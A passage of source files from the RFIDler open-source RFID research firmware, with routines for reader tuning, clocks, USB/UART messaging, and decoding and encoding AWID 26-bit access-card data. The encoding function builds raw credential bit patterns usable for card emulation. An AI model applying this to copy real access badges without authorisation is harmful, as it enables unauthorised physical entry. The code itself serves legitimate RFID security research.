* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "ask.h"
#include "mcp414x.h"
#include "comms.h"
// auto-detect pot settings
// this routine assumes you've set tag type etc.
BYTE autopot(void)
{
unsigned int i;
BYTE tmp[2], hit= FALSE;
if(RFIDlerConfig.TagType == TAG_TYPE_NONE)
{
UserMessage("%s", "\r\nSet TAG type first!\r\n");
return 0;
}
UserMessage("%s", "\r\n");
for(i= 1 ; i < 256 ; ++i)
{
if(get_user_abort())
return;
if(!hit)
UserMessageNum("\rTrying POT %d", i);
switch(RFIDlerConfig.Modulation)
{
case MOD_MODE_ASK_OOK:
case MOD_MODE_FSK1:
case MOD_MODE_FSK2:
set_mcp414_wiper(WIPER_HIGH, VOLATILE, i, tmp);
if(get_interpreted_tag_uid(DataBuff, RFIDlerConfig.TagType))
{
hit= TRUE;
UserMessageNum("\rHit POT %d\r\n", i);
}
else
hit= FALSE;
break;
default:
return;
}
}
}
// autodetect data rate
unsigned int autorate(void)
{
unsigned int i;
if(RFIDlerConfig.Modulation == MOD_MODE_NONE)
{
UserMessage("%s", "\r\nSet modulation!\r\n");
return 0;
}
if(RFIDlerConfig.SyncBits == 0)
{
UserMessage("%s", "\r\nSet SYNC!\r\n");
return 0;
}
for(i= 2; i < 256 ; ++i)
switch(RFIDlerConfig.Modulation)
{
case MOD_MODE_PSK1:
if(read_psk1_data(RFIDlerConfig.FrameClock, i, RFIDlerVTag.UID, RFIDlerConfig.DataBits, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, RFIDlerConfig.PSK_Quality) == RFIDlerConfig.DataBits)
{
RFIDlerConfig.DataRate= i;
return i;
}
continue;
case MOD_MODE_ASK_OOK:
if(read_ask_data(RFIDlerConfig.FrameClock, i, RFIDlerVTag.UID, RFIDlerConfig.DataBits, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, NO_ONESHOT_READ, HEX) == RFIDlerConfig.DataBits)
{
RFIDlerConfig.DataRate= i;
return i;
}
continue;
default:
return 0;
}
return 0;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/awid.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
// Thanks to proxclone.com for detailed information on bit structure:
// http://www.proxclone.com/pdfs/AWID_FSK_Format.pdf
#include "HardwareProfile.h"
#include "util.h"
#include "rfidler.h"
#include "awid.h"
#include "wiegand.h"
#include "fsk.h"
// convert null-terminated BCD UID (8 digits) to awid26 encoded hex
// UID is SSSIIIII where S is site-code and I is ID
BOOL bcd_to_awid26_hex(unsigned char *awid26, unsigned char *bcd)
{
if(bcd_to_awid26_bin(awid26, bcd))
return binarraytohex(awid26, awid26, 96);
else
return FALSE;
}
// convert 96 bit AWID FSK data to 8 digit BCD UID
BOOL awid26_hex_to_uid(unsigned char *response, unsigned char *awid26)
{
BYTE i, tmp[96], tmp1[7];
unsigned int site;
unsigned int id;
if(!hextobinarray(tmp, awid26))
return FALSE;
// data is in blocks of 4 bits - every 4th bit is parity, except the first
// block which is all zeros
for(i= 0 ; i < 4 ; ++i)
if(tmp[i] != 0x00)
return FALSE;
// discard 1st block
memcpy(tmp, tmp + 4, 92);
// check and strip parity on the rest
for(i= 1 ; i < 23 ; ++i)
if(tmp[(i * 4) - 1] != parity(tmp + (i - 1) * 4, ODD, 3))
return FALSE;
else
memcpy((tmp + (i - 1) * 3), tmp + (i - 1) * 4, 3);
// discard the rest of the header - 1 more 3 bit block
memcpy(tmp, tmp + 3, 66);
// next 8 bits is data length - should be 26: 0x1A
binarraytohex(tmp1, tmp, 8);
if(strcmp(tmp1, "1A") != 0)
return FALSE;
memcpy(tmp, tmp +8, 58);
// standard wiegand parity check - even for 1st 12 bits, odd for 2nd 12
if(tmp[0] != parity(tmp + 1, EVEN, 12))
return FALSE;
if(tmp[25] != parity(tmp + 13, ODD, 12))
return FALSE;
// convert to hex, ignoring parity bits
if(!binarraytohex(tmp1, tmp + 1, 24))
return FALSE;
// convert hex to site/id
sscanf(tmp1,"%2X%4X", &site, &id);
// final output 8 byte BCD
sprintf(response,"%03d%05d", site, id);
return TRUE;
}
// convert null-terminated BCD UID (8 digits) to 96 bit awid26 encoded binary array
BOOL bcd_to_awid26_bin(unsigned char *awid26, unsigned char *bcd)
{
unsigned char i, p, tmp1[8], tmp2[26];
unsigned int tmpint;
if(strlen(bcd) != 8)
return FALSE;
// convert BCD site code to HEX
sscanf(bcd, "%03d", &tmpint);
sprintf(tmp2, "%02x", tmpint);
memcpy(tmp1, tmp2, 2);
// convert BCD ID to HEX
sscanf(bcd + 3, "%05d", &tmpint);;
sprintf(tmp2, "%04x", tmpint);
// copy with trailing NULL
memcpy(tmp1 + 2, tmp2, 5);
// convert full HEX to binary, leaving room for parity prefix
hextobinarray(tmp2 + 1, tmp1);
wiegand_add_parity(tmp2, tmp2 + 1, 24);
memset(awid26, '\x0', 96);
// magic 18 bit awid26 header (we will overwrite the last two bits)
hextobinarray(awid26, "011D8");
// copy to target leaving space for parity bits
for(i= 0, p= 18 ; i < 26 ; ++i, ++p)
{
// skip target bit if this is a parity location
if(!((p + 1) % 4))
p += 1;
awid26[p]= tmp2[i];
}
// add parity bits
for(i= 1 ; i < 24 ; ++i)
awid26[((i + 1) * 4) - 1]= parity(&awid26[i * 4], ODD, 3);
return TRUE;
}
// return raw HEX UID
BOOL awid26_get_uid(BYTE *response)
{
return fsk_raw_get_uid(response, FALSE);
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/clock.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "clock.h"
#include "USB/usb.h"
#include "clock.h"
#include "comms.h"
//const unsigned int TimeScaler= (GetSystemClock() / US_TO_TICKS);
const unsigned int TimeScaler= (GetSystemClock() / TIMER5_PRESCALER) / 1000000; // compensate for pre-scaler
const unsigned long TimeScaler2= (GetSystemClock() / 10000000L);
// inialise OCM for H/W reader clock
// clock will be toggled by the OCM
// OCM ISR will process RWD commands
// user timer3 so timer2 can be used simultaneously by SmartCard or SD Card
// width/period in uS/100 (will be rounded to uS/10 (as accurate as we can get on a 80MHz pic))
void InitHWReaderClock(BYTE type, unsigned long width, unsigned long period, BYTE initial_state)
{
// reader mode
COIL_MODE_READER();
stop_HW_clock();
CloseOC5();
// some strange behaviour when switching from pulse to toggle. double open seems to fix it!
OpenOC5( OC_ON | OC_TIMER3_SRC | OC_TIMER_MODE16 | OC_TOGGLE_PULSE, CONVERT_TO_TICKS(period) / 8L, CONVERT_TO_TICKS(period) / 8L);
CloseOC5();
// clear error led
mLED_Error_Off();
// clear bit counter && type
Reader_Bit_Count= 0L;
Previous= -1;
// in sniff mode we don't use our own clock!
if (SnifferMode)
{
READER_CLOCK_ENABLE_OFF(LOW);
return;
}
// enable tri-state
READER_CLOCK_ENABLE_ON();
// set clock state & command parameters
RWD_State= initial_state;
RWD_OC5_config= (OC_ON | OC_TIMER3_SRC | OC_TIMER_MODE16 | type);
RWD_OC5_rs= RWD_OC5_r= CONVERT_TO_TICKS(period / (period / width) / 2L);
OpenOC5(RWD_OC5_config, RWD_OC5_rs, RWD_OC5_r);
OpenTimer3(T3_ON | T3_PS_1_1 | T3_SOURCE_INT, CONVERT_TO_TICKS(period / 2L) - 1L);
mOC5SetIntPriority(5);
mOC5ClearIntFlag();
mOC5IntEnable(ENABLE); // enable OC5 interrupts
}
// use timer4 to allow timers 2/3 to be linked to OCMs for other functions
void InitHWReaderISR(unsigned long time, BOOL immediate)
{
// if requested, arm interrupt so we read this bit as soon as we start ISR
IFS0bits.T4IF= immediate;
mT4SetIntPriority(6);
// start timer4 to read data - ISR will do the actual read
OpenTimer4( T4_ON | T4_PS_1_1 | T4_SOURCE_INT | T4_32BIT_MODE_OFF, time);
mT4IntEnable(ENABLE);
// switch on reader LED
// this is also a semaphore so the rest of the code knows we're running
mLED_Read_On();
// clear error led
mLED_Error_Off();
}
// temporarily pause carrier - specify period in FCs
// we use clock counter in ISR to create very precise timing
void pause_HW_clock_FC(unsigned long fc, BYTE state)
{
Clock_Tick_Counter_Reset= TRUE;
// wait for reset
while(Clock_Tick_Counter_Reset)
;
READER_CLOCK_ENABLE_OFF(state);
fc *= 2L; // two ticks per FC
while(Clock_Tick_Counter <= fc)
;
READER_CLOCK_ENABLE_ON();
}
void TimerWait_FC(unsigned long fc)
{
Clock_Tick_Counter_Reset= TRUE;
// wait for reset
while(Clock_Tick_Counter_Reset)
;
fc *= 2L; // two ticks per FC
while(Clock_Tick_Counter <= fc)
;
}
// shutdown reader coil
void stop_HW_clock(void)
{
stop_HW_reader_ISR();
CloseTimer3();
CloseOC5();
mLED_Clock_Off();
mLED_Emulate_Off();
// tri-state-off
READER_CLOCK_ENABLE_OFF(LOW);
// usb back on
USBUnmaskInterrupts();
}
// shutdown reader ISR
void stop_HW_reader_ISR(void)
{
CloseTimer4();
mLED_Read_Off();
}
void clock_test()
{
unsigned int test;
GetTimer_us(RESET);
//DEBUG_PIN_4= !DEBUG_PIN_4;
Delay_us(1);
//DEBUG_PIN_4= !DEBUG_PIN_4;
test= GetTimer_us(NO_RESET);
UserMessageNum("\r\nticks %ld", GetTimer_ticks(NO_RESET));
UserMessageNum("\r\n1 us: %d", test);
UserMessage("%s", "\r\n");
GetTimer_us(RESET);
//DEBUG_PIN_4= !DEBUG_PIN_4;
Delay_us(10);
//DEBUG_PIN_4= !DEBUG_PIN_4;
test= GetTimer_us(NO_RESET);
UserMessageNum("\r\nticks %ld", GetTimer_ticks(NO_RESET));
UserMessageNum("\r\n10 us: %d", test);
UserMessage("%s", "\r\n");
GetTimer_us(RESET);
//DEBUG_PIN_4= !DEBUG_PIN_4;
Delay_us(100);
//DEBUG_PIN_4= !DEBUG_PIN_4;
test= GetTimer_us(NO_RESET);
UserMessageNum("\r\nticks %ld", GetTimer_ticks(NO_RESET));
UserMessageNum("\r\n100 us: %d", test);
UserMessage("%s", "\r\n");
GetTimer_us(RESET);
//DEBUG_PIN_4= !DEBUG_PIN_4;
Delay_us(1000);
//DEBUG_PIN_4= !DEBUG_PIN_4;
test= GetTimer_us(NO_RESET);
UserMessageNum("\r\nticks %ld", GetTimer_ticks(NO_RESET));
UserMessageNum("\r\n1000 us: %d", test);
UserMessage("%s", "\r\n");
GetTimer_us(RESET);
//DEBUG_PIN_4= !DEBUG_PIN_4;
Delay_us(10000);
//DEBUG_PIN_4= !DEBUG_PIN_4;
test= GetTimer_us(NO_RESET);
UserMessageNum("\r\nticks %ld", GetTimer_ticks(NO_RESET));
UserMessageNum("\r\n10,000 us: %d", test);
UserMessage("%s", "\r\n");
GetTimer_us(RESET);
//DEBUG_PIN_4= !DEBUG_PIN_4;
Delay_us(100000);
//DEBUG_PIN_4= !DEBUG_PIN_4;
test= GetTimer_us(NO_RESET);
UserMessageNum("\r\nticks %ld", GetTimer_ticks(NO_RESET));
UserMessageNum("\r\n100,000 us: %d", test);
UserMessage("%s", "\r\n");
GetTimer_us(RESET);
//DEBUG_PIN_4= !DEBUG_PIN_4;
Delay_us(1000000);
//DEBUG_PIN_4= !DEBUG_PIN_4;
test= GetTimer_us(NO_RESET);
UserMessageNum("\r\nticks %ld", GetTimer_ticks(NO_RESET));
UserMessageNum("\r\n1,000,000 us: %d", test);
UserMessage("%s", "\r\n");
}
// low level pulse timer
unsigned int GetTimer_us(BYTE reset)
{
unsigned int time;
time= ReadTimer5();
if(reset)
WriteTimer5(0L);
return time / TimeScaler;
}
// low level pulse timer - return prescaled ticks converted back to a long
unsigned long GetTimer_ticks(BYTE reset)
{
unsigned long time;
time= ReadTimer5();
if(reset)
WriteTimer5(0);
return time * TIMER5_PRESCALER;
}
// bad stuff happens if this gets optimised!
#pragma GCC optimize("O0")
// raw timer wait - for things that don't want any delays...
// tuned by eye with logic analyser!
// 1us == x/2 timer ticks where x is what MHz chip is running at (e.g. 4 for 80MHz)
void TimerWait(unsigned long ticks)
{
// deduct 2 for processing time
ticks -= 2;
WriteTimer5(0);
while (ReadTimer5() < ticks)
;
}
void Delay_us(unsigned long us)
{
unsigned long ticks= us * TimeScaler2;
while (ticks--)
;
}
// end optimisation
#pragma GCC reset_options
================================================
FILE: firmware/Pic32/RFIDler.X/src/comms.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
// external comms routines:
//
// USB CDC for CLI & API
// reader output - will send data to appropriate channels according to user selected options
#include "HardwareProfile.h"
#include "USB/usb.h"
#include "USB/usb_device.h"
#include "USB/usb_function_cdc.h"
#include "rfidler.h"
#include "uart3.h"
#include "comms.h"
// counter used by comms status as a global so external routines can use it for rudimentary entropy
unsigned int Led_Count= 0;
// master user messaging - this routine will message to current I/O method
// (USB or UART)
void UserMessage(BYTE *format, BYTE *message)
{
BYTE tmp[TMP_SMALL_BUFF_LEN];
snprintf(tmp, TMP_SMALL_BUFF_LEN, format, message);
if(CommsChannel == COMMS_USB)
SendUSBMessage(tmp, strlen(tmp));
if(CommsChannel == COMMS_UART)
SendUART3Message(tmp, strlen(tmp));
}
// send raw binary
void UserBinary(char *message, unsigned int length)
{
if(CommsChannel == COMMS_USB)
SendUSBMessage(message, length);
if(CommsChannel == COMMS_UART)
SendUART3Message(message, length);
}
// send raw binary byte
void UserBinaryByte(BYTE message)
{
if(CommsChannel == COMMS_USB)
SendUSBMessage(&message, 1);
if(CommsChannel == COMMS_UART)
SendUART3Message(&message, 1);
}
void UserMessageNum(BYTE *message, unsigned long num)
{
BYTE tmp[TMP_SMALL_BUFF_LEN];
sprintf(tmp, message, num);
if(CommsChannel == COMMS_USB)
UserMessage("%s", tmp);
}
// FIXME: implement for serial comms
BYTE GetUserMessage(char *buffer, BYTE len)
{
if(CommsChannel == COMMS_USB)
{
if (mUSBUSARTIsTxTrfReady())
return getsUSBUSART(buffer, len);
else
return 0;
}
return 0;
}
void SendUART3Message(unsigned char *message, unsigned int len)
{
while (len--)
UART3PutChar(*(message++));
}
// read bytes from UART and return after timeout - set timeout to something reasonably
// small so higher level routine can capture single keystrokes without feeling klunky
unsigned int GetUART3Message(unsigned char *message, unsigned int timeout)
{
unsigned int time;
unsigned char p= 0;
// make sure we return a NULL string if we timeout
*message= '\0';
GetTimer_us(RESET);
while(!UART3IsPressed())
{
time= GetTimer_us(NO_RESET);
if (time > timeout)
return 0;
}
GetTimer_us(RESET);
while(p < 255)
{
time= GetTimer_us(NO_RESET);
if (time > timeout)
break;
if(UART3IsPressed())
message[p]= UART3GetChar();
else
continue;
if(message[p] == '\0')
break;
p++;
}
message[p]= '\0';
// empty buffer (remaining newline etc.)
while(UART3IsPressed())
UART3GetChar();
return strlen(message);
}
void SendUSBMessage(char *message, unsigned int len)
{
BYTE tosend;
// give up if the other end isn't listening!
if(!USBUSARTIsTxTrfReady())
return;
while (len)
{
if(len <= (int) 255)
tosend= (BYTE) len;
else
tosend= (BYTE) 255;
putUSBUSART(message, tosend);
message += tosend;
len -= tosend;
// don't return until message is sent otherwise we get problems
// with buffer being overwitten - e.g. LIST
while (!USBUSARTIsTxTrfReady())
CDCTxService();
}
}
BYTE get_prompt(unsigned char *prompt)
{
BYTE tmp;
UserMessage("\r\n%s and hit to continue, or any other key to abort...", prompt);
while(42)
if (GetUserMessage(&tmp, 1))
{
UserMessage("%s", "\r\n");
return (tmp == '\r');
}
}
// blink USB/Comms lights to show current status:
//
// USB blinking - powered by USB, comms over USB possible
// USB solid - powered by USB, comms over USB not possible
// Comms blinking - comms currently over USB
// if Comms and USB blink together we are in API mode, otherwise CLI
// FIXME: need a similar stategy for UART
// Comms solid - comms currently over UART
